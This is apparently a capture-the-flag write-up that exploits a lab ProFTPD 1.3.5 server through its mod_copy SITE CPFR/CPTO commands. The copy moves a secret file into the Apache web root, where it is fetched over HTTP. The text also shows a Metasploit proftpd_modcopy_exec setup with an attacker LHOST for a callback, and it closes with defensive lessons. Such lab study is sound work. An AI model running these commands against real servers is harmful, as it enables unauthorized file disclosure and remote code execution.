This write-up documents the full exploitation chain used to discover and extract a hidden flag from a vulnerable ProFTPD 1.3.5 server using the mod_copy feature.
π 1. Initial Reconnaissance
We began by scanning the target to identify open services.
nmap -sV 172.20.50.54Findings:
- Port 21/tcp open β FTP service
- Service: ProFTPD 1.3.5
This version is known to be vulnerable when mod_copy is enabled.
π 2. Deeper Service Enumeration
We confirmed FTP details:
nmap -sV -p 21 172.20.50.54Output:
ProFTPD 1.3.5 Server (Default Installation)We attempted anonymous login:
ftp 172.20.50.54Result:
- Anonymous login β failed
This suggested restricted authentication but did not rule out misconfigured FTP commands.
β οΈ 3. Testing FTP Command Behavior
We connected using netcat to test manual FTP commands:
nc 172.20.50.54 21Server responded:
220 ProFTPD 1.3.5 ServerWe tested basic commands:
ls
cat /tmp/test.txtResponse:
500 Invalid commandThis indicated:
- Limited command parsing
- But FTP command interface still active
π 4. Discovery of mod_copy Misconfiguration
While interacting with FTP, we discovered support for:
SITE CPFR
SITE CPTOThis is the mod_copy feature, which allows file copying directly on the server.
π 5. Exploitation (Manual Method)
We attempted to copy sensitive files:
SITE CPFR /secret.txt
SITE CPTO /tmp/secret.txtResult:
250 Copy successfulWe confirmed the file was copied successfully.
π 6. Web Server Enumeration
We checked the HTTP service:
curl http://172.20.50.54/Result:
- Apache2 Debian Default Page
- Document root likely:
/var/www/html
We tested file access:
curl http://172.20.50.54/tmp/secret.txtβ Not found (because /tmp is not web-accessible)
π― 7. Correct Exploitation Path
We redirected the file into the Apache web directory:
SITE CPFR /secret.txt
SITE CPTO /var/www/html/secret.txtβοΈ Copy successful
π‘ 8. Flag Retrieval
Once placed in the web root, the file became accessible via HTTP:
curl http://172.20.50.54/secret.txtπ Flag:
Tyrannosaurusπ§ 9. Metasploit Attempt (Alternative Approach)
We also attempted exploitation using Metasploit:
use exploit/unix/ftp/proftpd_modcopy_exec
set RHOSTS 172.20.50.54
set RPORT_FTP 21
set LHOST 10.8.48.79
set LPORT 5555
exploitResult:
- Exploit partially executed
- Payload failed due to:
- incorrect writable path assumptions
- missing execution conditions
- web root restrictions
π Conclusion: manual exploitation was more reliable in this case.
π Final Attack Chain Summary
- Scan target β discovered FTP (ProFTPD 1.3.5)
- Tested login β anonymous login failed
- Discovered
mod_copysupport - Used
SITE CPFR / CPTOto copy files - Identified Apache web root (
/var/www/html) - Copied
/secret.txtinto web directory - Retrieved flag via HTTP
π‘οΈ Lessons Learned
mod_copymisconfiguration = critical file disclosure risk- FTP services should NEVER allow arbitrary file copy operations
- Web root directories must not be writable by external services
- Always verify service versions for known CVEs (like CVE-2015β3306)
π₯ Takeaway
This challenge demonstrates how a simple FTP misconfiguration can lead to full sensitive file disclosure without needing complex exploits or reverse shells β just protocol abuse and proper enumeration.